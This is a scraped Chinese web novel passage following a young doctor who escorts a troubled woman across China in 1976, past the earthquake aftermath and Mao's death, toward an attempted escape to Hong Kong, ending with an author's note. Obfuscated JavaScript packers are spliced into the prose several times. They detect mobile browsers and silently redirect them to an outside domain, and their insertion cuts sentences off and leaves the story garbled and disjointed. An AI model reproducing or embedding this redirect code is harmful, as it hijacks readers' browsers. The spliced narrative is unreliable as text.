一夜无话，第二天一早，白建军就带着吴忆茹坐上分场这边的马车往农场那边走。这次要从鹤山农场做客车到齐齐哈尔，再坐火车到尔滨，之后再从尔滨的三棵树站坐火车去上沪。 张大山给白建军两个人的假期比较充足，所以这次白建军也没有太着急，等到了齐齐哈尔的时候，白建军领着吴忆茹就准备去售票处买票，顺利的买到去尔滨的火车票，白建军直接就带着吴忆茹进了候车室。等坐上了火车到尔滨的时候，已经半夜了，白建军和吴忆茹只能火车站对面的招待所住一晚。 白建军原本还想着吴忆茹还会像在农场那边一样自己住，但是吴忆茹也可能是害怕或者其他的原因，就是不和白建军分开。白建军和吴忆茹又不是两口子，按照规定得分开住，可是吴忆茹这样，白建军只好又是拿出来介绍信，又是拿出来农场医院开出来的病历，和招待所的职工解释了半天，这才破例为两人开了一个双人房间。 到哈尔滨的时候就已经很晚了，吴忆茹和白建军都和衣躺在招待所的床上。折腾了一天，吴忆茹很快就进入了梦乡，白建军见吴忆茹睡着了，这才躺下睡觉。 半夜睡梦中的白建军突然感觉到一股危险的气息，这一下子就让白建军惊醒了过来，这时招待所房间内的吊灯明显的出现了一些晃动。 白建军警惕的盯着四周，不过危险的气息只持续了片刻也就停了下来，白建军皱眉思索也没想明白这突然的危险从何而来。虽然感觉不到危险了，但是白建军还是睡不着了。 天已经大亮，吴忆茹迷迷糊糊的从睡梦中醒来，发现白建军一直守在自己的床边上，而且白建军的面上眉头一直紧皱着，吴忆茹这才轻声的问道。 “建军？” “你醒了！”吴忆茹的声音，让沉思的白建军清醒了过来。“我们先洗漱，一会儿在外面吃个早饭，咱们就先去把车票买了。” 吴忆茹点了点头，然后不好意思的转过身，背对着白建军整理了一下身上的衣服。白建军脑袋里还想着昨天半夜的那些事，也没有太关注吴忆茹。还是吴忆茹整理完衣服，叫了白建军一声，白建军才放弃了思考。 简单的洗漱之后，两个人就在火车站附近的小饭店吃了口早餐就往售票处买票，可是一进入售票处，各个窗口时不时爆发出来的争吵让白建军感觉到事情有些不对。 一大早买票的人不是很多，没一会儿就排到白建军和吴忆茹这里。 “同志，我要两张去 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吴忆茹跟着焦急往外走的白建军小声的问道。 “昨天半夜，我在招待所里感觉到了震感！”白建军看着吴忆茹解释道。“这是哪？东北，尔滨啊！隔着一千多里地这里都有震感，你说说京城离着滦县那么近，能没受到影响么？” 吴忆茹知道白建军现在担心家里，而且现在火车这边停售，一时之间吴忆茹也只能跟着白建军走。从尔滨到上沪不只一条路线，58次列车是一条路线，从尔滨到大连再坐船也能到上沪，但是吴忆茹不会水，而且还晕船，所以吴忆茹根本就没提这第二条路。 白建军出了火车站，打听到邮局就过去排队打电话，终于轮到白建军，白建军先是给白建华的医院打电话，可是传达室那边直接告知白建军，白建华已经随队出发支援滦县去了。 第116章 国丧期间终到沪 吴忆茹在尔滨的时候，思考了好长时间，最后还是决定先回去九分场这边来，白建军也觉得现在不是回到上沪的好时机。现在抗震救灾才是大事，虽然不能过去提供帮助，但是也不能过去添乱吧。 所以折腾了一趟十三招，白建军和吴忆茹再次回到了九分场。无论怎么说，现在对于吴忆茹来说九分场这边都是安全的，吴忆茹在这边不会受到歧视，不会受到针对，身边还有白建军以及朋友关心。 仅是从农场到尔滨这一路上，吴忆茹也遇到过很多不怀好意的目光，可是因为有白建军在吴忆茹身边，所有的危险都被白建军挡住了，吴忆茹现在都不敢想若是自己一个人回去，这一路上会经历多少磨难。并且吴忆茹心里的目的地也不是上沪而是香江，要想去那边，恐怕会有更多的艰难险阻。 综合这几个原因，吴忆茹才会选择回到九分场这边等待时机。 白建军和吴忆茹返回分场这边，张大山和林国栋也都不意外，报纸上已经面向社会刊登出来了地震的一些信息，而白建军和吴忆茹要想南下上沪，除了水路，陆路是绕不开震区附近的。 张大山和林国栋同样比较庆幸，若不是前天下午才把介绍信交给白建军，哪怕是上午把介绍信给白建军，现在吴忆茹和白建军都会被困在路上。 吴忆茹回来之后，一切还好，而白建军现在则时不时的往场部这边跑。其实不仅白建军，京津地区的知青们都十分关心家里的情况。虽然九分场这边的知青家里人员都没有出大事，顶多就是受了点小伤，但是大家的心也都是悬在半空。 大地震过去了一周，分场这边的知青们在听说家里人都安置在防震棚，而且身边也都是邻居互相照顾之后，不少人也就渐渐放下了心中担忧。 大地震离着农场这边太远，知青们哪怕是想过去出一把力，也是鞭长莫及。林国栋和张大山两个人最近也是辛苦异常，不仅要盯着农业生产，还要出面安抚了知青们的情绪。好在随着消息的不断传来，九分场这边也渐渐恢复了正常，这让几次去农场开会的张大山和林国栋也都庆幸不已。 九分场这边京津地区知青家里没有出大事，可是别的分场中有的知青却一直联系不上家里的任何人，有的知青家里亲属因为地震的原因意外身亡，这些知青情绪波动都很大，甚至有的知青已经开始吵嚷着要回家了。 各个分场的场长和主任也都是头疼不已，不得不尽量安抚知青们的情绪。对于那些家里有人去世或者重伤的都会尽量批假；对于那些家里有人轻伤的，则尽量劝说先留下来；至于那些全家都联系不上的，除了尽量帮着联系以外就是暂时安抚住，毕竟现在震区已经实行封闭式管理，就算这些知青回去，现在也不能进入那些中心震区。 大地震的事情虽然让很多人都关注，但是分散到兵团知青、插队知青层面，除了有亲人涉及到其中的知青，对于大多数知青来说，随着时间的推移，慢慢的也就把这件事放在了脑后，更多的还是每天参加的劳动、工作。 不知不觉间，时间已经过了快一个月了，吴忆茹一直关心着什么时候能再次启程南下，但是吴忆茹也不知道这时候走能否再次遇到阻隔。虽然报纸上没有震区的详细情况报道出来，但是从分场这边的知青口中，以及和京城的通话中，白建军也知道现在仍然还有余震不时的发生，这些消息白建军也告诉了吴忆茹，并且不建议现在南下。 白建军这天下午正在食堂这边帮厨，突然之间，分场里的大喇叭以及分场所有的大喇叭里再次响起了哀乐的声音。随着低沉的声音从大喇叭里传来，一个比大地震更加震撼的消息响彻种花大地的上空。 伟大领袖与世长辞，永远的离开了！ 从哀乐响起的时候，包括白建军在内的所有食堂的工人都停下了手里的活，但是在听完广播播报的内容之后，所有人都愣住了，哪怕广播已经播报完毕，所有人都久久没有回神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719762|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 过了能有一分多钟，寂静的食堂后厨，传来的“当啷”一声，一个工人手里端着的盆直接掉到了地上。这突如其来的声音也打破了后厨的寂静。 大家的眼中先是不可置信，可是在反应过来之后，不少人女知青已经捂着嘴开始哭泣，男知青也都双眼通红。老赵班长更是激动的冲出了食堂后厨，直奔分场的场部而去。 这一幕不仅仅出现在了后厨中，更是出现在了田间地头，出工的知青们再也无心干活，都拿起东西往回走，这一路上是哭声一片。 九分场后厨这边，老赵班长去的快，回来的也快，而且回来之后，沉痛的看着所有人说道。 “都干活吧，职工们也要回来了，累了一天了，总是要吃饭的！” 所有人听到老赵班长的话之后，都强忍着悲痛继续手中的活。 白建军忙完了手里的活，径直走到了老赵班长的身边。 “老班长，我先去后面看看忆茹！”白建军轻声的对着老赵班长说完，指了指自己的脑袋。“我怕外面的广播再次刺激到她！” 老赵班长对着白建军点了点头，也没有多说什么，白建军转身就快步往吴忆茹那边跑去。 吴忆茹也听到了 刚刚的广播，现在整个人都蜷缩在炕上，头深深的埋在两腿中间。 “忆茹！忆茹！你怎么了？” 白建军跑到吴忆茹身边连忙问道。 “建军，伟大领袖现在走了，能给我做主的人再也没有了！”吴忆茹抬头看着白建军，此时吴忆茹脸上满是泪痕。“我真的待不下去了！” 白建军看着满脸泪痕的吴忆茹，赶紧把她抱在自己的怀里。过了好一会儿，白建军听到了很多脚步声以及呜咽声就知道今天出工的人已经回来了。 整个分场这边除了悲痛，还是悲痛。不仅仅是分场、农场，整个黑江省乃至全国都沉浸在悲痛的氛围之中。 第117章 吴忆茹袒露心声 吴忆茹的心情一直都很低落，白建军领着吴忆茹在一处早点店吃东西的时候，吴忆茹全程都是一言不发，哪怕后来白建军和吴忆茹去祭拜吴忆茹的父母的时候，吴忆茹除了默默流泪，也同样是一言不发。直到祭拜结束之后，吴忆茹找殡仪馆的工作人员提出要把父母的骨灰拿走，才算是开口说话。 对于吴忆茹的要求，殡仪馆的工作人员也没有提出什么不同意见，毕竟在现在的上沪，很多家庭都是这么干的。工作人员也只是仔细核对了一下吴忆茹的信息，确认了吴忆茹的身份，就将吴忆茹父母的骨灰坛交给了吴忆茹。 正理来说，白建军和吴忆茹现在只是恋爱关系，是没有资格捧着骨灰坛的，但是这也不能让吴忆茹自己提这两个骨灰坛，白建军一旁空着两个爪子干看着啊。 殡仪馆的工作人员见白建军迟迟不动手，看向白建军和吴忆茹的眼神都不一样了。最后白建军在吴忆茹哀求的眼神之下，只好捧起了一个骨灰坛。白建军本来以为吴忆茹是想将父母安葬入土为安，可看这路线，吴忆茹明显是准备把她父母的骨灰坛抱回家里去。 也不怪白建军理解不了，现在上沪市内的几处公墓都被破坏了，唯有万国公墓还有所保留，但那也不是什么人都能葬在那里的。现在大多数人去世，亲属多是把骨灰坛拿回到自己家里，哪怕经历过运动，但是“入土为安”早就根植在百姓的心中，所以大多数人都是等机会将亲人的骨灰坛下葬。 白家的墓地前些年都差点被推了，不过最后虽然没有都被平了，但是白家墓地里的墓碑也都被扒倒了，独留几个坟包留在了原地。这还是因为白家墓地所在村的村民大多都是以前百草厅的伙计或者是白家以前下人们的后人，要是换成在其他地方，李香秀也不能把后手留在那边。 在说回白建军和吴忆茹，两个人是遇到吴忆茹家附近，遇到任务吴忆茹的人就越多，但是这些人在吴忆茹路过的时候大多都是装作没看见，之后等吴忆茹走过去之后，都在背后蛐蛐。 等白建军和吴忆茹回到吴忆茹家中，刚刚把吴忆茹父母的骨灰坛摆好，白建军就听到小院外的铁门传来敲门的声音。 “忆茹，你在屋子里待着，我去看看！” 白建军对着吴忆茹点了点头，就开门走了出去。等来到门口的时候，就见几个人等在门口。 “小伙子，你是干什么的？”看到白建军走了出来，一个带着眼睛的中年女性直接看着白建军开口问道。“我们是街道的，听说这家里回来人了？” “你好，我是鹤山农场医院的大夫白建军，我负责带吴忆茹来上沪这边看病！”白建军看着几个人直接说道。“吴忆茹现在时好时坏的，为了你们的安全，你们有什么事先跟我说吧！” “小伙子啊，你这话怎么证明啊！” 旁边一个男的直接站出来不信的问道。 “我这里有我们当地农场、分场开出来的介绍信，还有农场医院开出来的病历，你们要看看么？”白建军没有看那个男的，而是看向那个中年女性。“你们也可以往分场那边打电话核实一下我的情况！” “白同志，你不要误会啊，我们就是知道了这边回来人，了解一下情况！” 中年女性一看白建军如此态度心里也明白白建军这么有底气，那肯定是不怕自己等人核实的。 “我们昨天半夜坐火车回来的，今儿一早我带她去了殡仪馆，一会儿我们还要去医院。你们看能不能出个人陪和我们走一趟呢？”白建军看着几个人直接说道。“虽然说吴忆茹现在是归我们分场这边管理，但是毕竟她原来是你们这里的人。她的身份比较特殊，如果能有你们配合，这自然也能让我轻松一点。我也不能长时间待在这边，吴忆茹要是住院治疗的话，还真的麻烦您提供一些帮助。” “这样，你们还是等一下，我去里面把介绍信拿出来让你们看看。” 不等几人回答，白建军直接看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然白建军和吴忆茹说了不会和她一起去香江，但是吴忆茹心里却没有放弃这个打算，而且这一路到花城再到宝安还需要不少时间，吴忆茹还想再劝劝白建军。 白建军现在则是在考虑接下来的路怎么走了，白建军不知道为什么居委的人盯着吴忆茹家，所以现在想着的也就是先去医院走上一圈，让这些盯着的人知道自己确实是来看病的。 “忆茹，现在我们还是先解决眼前的问题。”白建军指了指外面认真的看着吴忆茹说道。“现在我们也不知道他们到底是什么意思，所以我们先去一趟上沪市精神病防治院，等回来之后我们再看看怎么去花城。” 吴忆茹现在也想到了还有眼前的事需要解决，所以也就同意了白建军的方案。至于去精神病防治院也不是真的要去看病，只是为了打消盯梢的那些人的某些顾虑吧。 吴忆茹就这么一副哭过的样子再次和白建军一起出了门，两个人直接坐公交去了防治院。白建军发现盯梢的那些人也跟了过来，但是白建军也没有挑明，不过白建军总感觉那几个盯梢的人的目光看自己的时候多一些，他们反倒不怎么关注吴忆茹，这让白建军百思不得其解。 白建军和吴忆茹到了防治院之后，那些盯梢的人并没有跟进来，白建军给吴忆茹挂了号之后，就一直暗中观察着这几个盯梢的人。原来跟来的3个人，突然只剩下两个人，过了一会儿，3个人聚在一起嘀咕了几句，这3个人就都离开了。 对于莫名其妙出来的这几个盯梢的人，白建军一时之间也搞不清楚他们的动机了，但是现在他们撤了，也省的白建军费心思。白建军和吴忆茹在盯梢的人走了之后，也离开了防治院直接去了火车站看看能不能买到去宝安的火车票。 上沪到宝安是没有直达火车的，火车只能买到花城，而到了花城之后再去宝安，那就只能到了地方之后再想办法，好在买到花城的火车票不用介绍信。 看着手里的硬壳火车票，吴忆茹的心里开心坏了，这就证明她距离香江又进了一步。火车是第二天快10点开，白建军和吴忆茹又返回了吴忆茹的家里。 吴忆茹又回到她父母的主卧室哀思父母，而白建军则小心的在二楼上观察外面，发现确实没有人在盯梢，白建军虽然还有疑惑，但是起码带着吴忆茹离开上沪，不会有什么阻碍。 白建军看着仍然在主卧室的吴忆茹不由叹了口气，黑丽荣和孙桂艳的猜测现在应验了，吴忆茹现在是铁了心要走，白建军虽然喜欢吴忆茹，但是白建军放不下白建华、放不下李香秀，现在帮吴忆茹最后一把送她一程，也算是为自己的青葱岁月划下一个句号。 第二天一大早，天刚微微亮，打坐了一宿的白建军就把吴忆茹叫了起来。 “忆茹，已经快7点了，我们该走了！” 吴忆茹看了看白建军，又看了看外面的天色，见白建军走了出自己的房间，这才坐起来换衣服。吴忆茹起来之后，看着已经收拾完的白建军，对着白建军先摇了摇头。 “建军，你等我一下！” 吴忆茹说完，又去了存放她父母骨灰坛的主卧室，白建军一直在主卧外面看着吴忆茹恭恭敬敬的给她父母三叩首。叩拜完父母之后，吴忆茹才站了起来，等关好了房门，这才忍着悲痛对着白建军点头说道。 “我们走吧！” 两人低调的锁好了楼门和院门，在不少街坊邻居的目光下，就这么平静的离开了。第一天还有人对吴忆茹指指点点，但是现在可能都知道吴忆茹有精神病，所以这些人也只是在暗中看了一眼，就远远的躲开。 一路步行到了火车站，白建军和吴忆茹简单的解决了一下早饭，又在候车室等了一会儿，就登上了从上沪到花城的火车。这一走就是一天半，等白建军和吴忆茹踏上花城的土地的时候，已经是第二天的晚上7点了。 一下火车，一股热风就扑面而来。临近国庆节，京城的天气已经转凉，更不用说东北已经开始长袖衣服了，但是花城这边白建军走了没几步，这汗就下来了。 这趟火车白建军也不是没有收获，起码这36个小时的车程中，白建军就从旅客口中套出了一些话。花城到宝安是有火车的，但是这几年非宝安本地人，或者没有介绍信，火车站这边根本就不会卖票。 说来说去还是“逃港”风波闹的，而且“逃港”这事也不是最近才有的，从1951年开始到现在的1976年，哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天色已经完全黑了下来，在潘子政的带领下，白建军和吴忆茹走了一个多小时才看到了花城东站。这一路上，白建军明显感觉到有好几个人都是跟自己一路的，都是从火车站出来往这边来的，而且看着都是知青打扮。 “一会儿咱们在东站候车室睡一宿，明天一早咱们就出发。” 第119章 故知相聚宝安县 吴忆茹在赵亚静疑惑的看着白建军提问的时候，同样疑惑的看着白建军。 “第一，你和我说话的时候，一直都是京片儿，你一定也是从京城过来这边的；第二，周围邻居都叫你亚静，而且看和你熟悉的程度，显然你在这边已经待了很多年了。” 白建军看着赵亚静笑着说道。 “综合这两点，我才说了一下你小时候的外号。哪怕我说的不对也没有什么影响，我们该掏钱掏钱；如果我说对了，这遇到熟人了，你说你能不能告诉我们一点一般人不知道的消息？” “你到底是谁？” 赵亚静谨慎的看着白建军直接问道。 “我是白建军，这一晃我们也有好几年没见了！要不是你邻居叫你亚静，我还真认不出来你！”白建军看着赵亚静笑着说道。“不知道你还记不记得，当年你跟在杨树茂的后面，还有一个谢志强经常一起去太奶奶家找我的事！” “我说怎么在路上看见你有些眼熟呢！白大哥？还真的是你啊！”赵亚静惊讶的仔细打量了一下白建军，看了看吴忆茹之后，又看着白建军问道。“白大哥，你怎么来了宝安？还要逃港？” “我是来送她的！”白建军看了看吴忆茹，直接对着赵亚静反问道。“我还没问你呢，你怎么干起了这个买卖？” 说话的功夫，白建军和吴忆茹以及赵亚静已经走了进屋中，看着屋中摆放的一张黑白照片，白建军不由看向了赵雅静。 “我记得你小学毕业之后，就被你爸带到这边？这才几年，你爸……” “我跟我爸到了花城之后，我也不是上学的材料，就跟着我爸卖水果！后来我爸得病，直接就走了，就剩下我自己在这边。” 赵亚静走到黑白照片面前，在香炉上点起了三支香拜了三拜。 “虽然我自己卖水果就能养活我自己了，但是毕竟我一个小姑娘，难免受欺负！我原来也想去香江那边，可是一张偷渡的船票最少都要500块，有的更是要1000块钱，我可拿不出来。我一不想尝尝边防的枪子，也不想成为这深圳湾里的无名死尸，所以就留在了这边。” 同行是冤家，你挣钱了，别人就挣不到钱，时间长了，矛盾自然而然就出来了。 赵亚静说的轻巧，可是白建军明白，一个女孩要想在市井之间活下去得付出多大的辛苦，而且赵亚静的父亲突然离世，剩下她一个人无依无靠，肯定会被排挤。而且正因为赵亚静没了依靠，才不得不离开花城另寻出路。 “你怎么想到卖梯子和棉被呢？” 白建军看着赵亚静直接问道。 “龙岭大队这边大多都是走陆路的，也就是奔着扑网去的。但是那边的铁丝网上也都是血迹斑斑。白大哥，那些都是以前逃港的人留下的痕迹。”赵亚静看了一眼吴忆茹对着白建军说道。“铁丝网虽然挺高，但是架不住办法多。棉被扔到铁丝网上头，梯子再一搭，只要动作一点，不被铁丝网挂住衣服，赶在边防发现之前还是能直接跳过去。” 白建军进来的时候，根本就没看到赵亚静家里有这些东西。 “我进来的时候，也没看到你这边有这些东西啊！” “都在龙岭大队那边放着，我得收到钱，才能带人过去取东西！”赵亚静看着白建军笑了笑说道。“白大哥，虽然咱们认识，我可以做主不要棉被的钱，但是梯子的钱，你们还得出！” 白建军想了想看了看赵亚静。 “你们要是能循环利用起来，那可真是生财有道了！” “我就知道白大哥你能猜出来！” 赵亚静只是诧异了一下，随后就笑着说道。 “亚静，那就按照你这儿的规矩来。”白建军看着赵亚静认真的说道。“不过我要保证她过去，就不能光我们两个人去扑网，你这边还有什么消息没有，比如最近有没有人比较多的时候。” “白大哥，那你们就需要等几天了，或许我们可以和买家们打个招呼。”赵亚静想了想看着白建军认真的说道。“让大家等一等，这样过去的几率也比较大！” “那这些日子，我们就得打扰你啦！” 白建军看着赵亚静认真的说道。 “白大哥，说什么打扰不打扰的！能在这边遇到你，我这算是看到京城的亲人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴忆茹想说服白建军，但是吴忆茹也看出来了，自己说服不了白建军。吴忆茹明白，当自己选择南下香江而不是和白建军北上回东北或者京城的时候，两个人的分歧就已经无法调和了。 吴忆茹经历过丧亲之痛也理解白建军这种对家人的重视，而且刚刚白建军的话也让吴忆茹明白，白建军以前也可以选择和自己一起逃港，但是这样可能会给留在京城的白建华和李香秀带来伤害，正是这种可能性，才让白建军放弃了逃港的打算。 上架感言 这是再下的第二本书了。 由于写的是特殊的年代，从写这本书开始都是磕磕绊绊的，平均下来差不多5章一小改，10章一大改。 修改之后有很多不通顺的地方，感谢各位读者大大的理解和包容。 总得来说，本书涉及的电视剧有《历史转折中的邓小平》、《正阳门下》、《正阳门下的小女人》、《情满四合院》、《情满九道弯》，背景可能会综合本人的第一步作品中的一些设定。 写到现在，整个剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719766|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情对于这几部电视剧来说，刚刚是个开头，虽然已经涉及到这几部剧集的人物，但还是让不少喜欢同人类的读者们缺少了一些代入感。 之后的章节，已经步入到大家熟悉的剧情了，本人会尽量让本书嵌合的合理一些。